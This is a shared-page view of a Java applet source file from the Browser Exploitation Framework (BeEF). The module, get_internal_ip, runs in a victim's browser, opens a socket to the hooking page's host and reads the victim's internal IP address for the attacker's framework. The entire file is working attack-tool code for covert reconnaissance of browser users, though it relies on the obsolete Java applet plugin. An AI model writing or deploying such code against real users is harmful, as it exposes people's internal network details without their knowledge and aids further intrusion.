Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_internal_ip_java/get_internal_ip.java
1154 views
1
/*
2
* Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
import java.applet.Applet;
8
import java.applet.AppletContext;
9
import java.net.InetAddress;
10
import java.net.Socket;
11
12
/* to compiled it in MacOSX SnowLeopard/Lion:
13
* javac -cp /System/Library/Frameworks/JavaVM.framework/Resources/Deploy.bundle/Contents/Resources/Java/plugin.jar get_internal_ip.java
14
* author: antisnatchor (adapted from Lars Kindermann applet)
15
*/
16
public class get_internal_ip extends Applet {
17
String Ip = "unknown";
18
String internalIp = "unknown";
19
String IpL = "unknown";
20
21
private String MyIP(boolean paramBoolean) {
22
Object obj = "unknown";
23
String str2 = getDocumentBase().getHost();
24
int i = 80;
25
if (getDocumentBase().getPort() != -1) i = getDocumentBase().getPort();
26
try {
27
String str1 = new Socket(str2, i).getLocalAddress().getHostAddress();
28
if (!str1.equals("255.255.255.255")) obj = str1;
29
} catch (SecurityException localSecurityException) {
30
obj = "FORBIDDEN";
31
} catch (Exception localException1) {
32
obj = "ERROR";
33
}
34
if (paramBoolean) try {
35
obj = new Socket(str2, i).getLocalAddress().getHostName();
36
} catch (Exception localException2) {
37
}
38
return (String) obj;
39
}
40
41
public void init() {
42
this.Ip = MyIP(false);
43
}
44
45
public String ip() {
46
return this.Ip;
47
}
48
49
public String internalIp() {
50
return this.internalIp;
51
}
52
53
public void start() {
54
}
55
}
56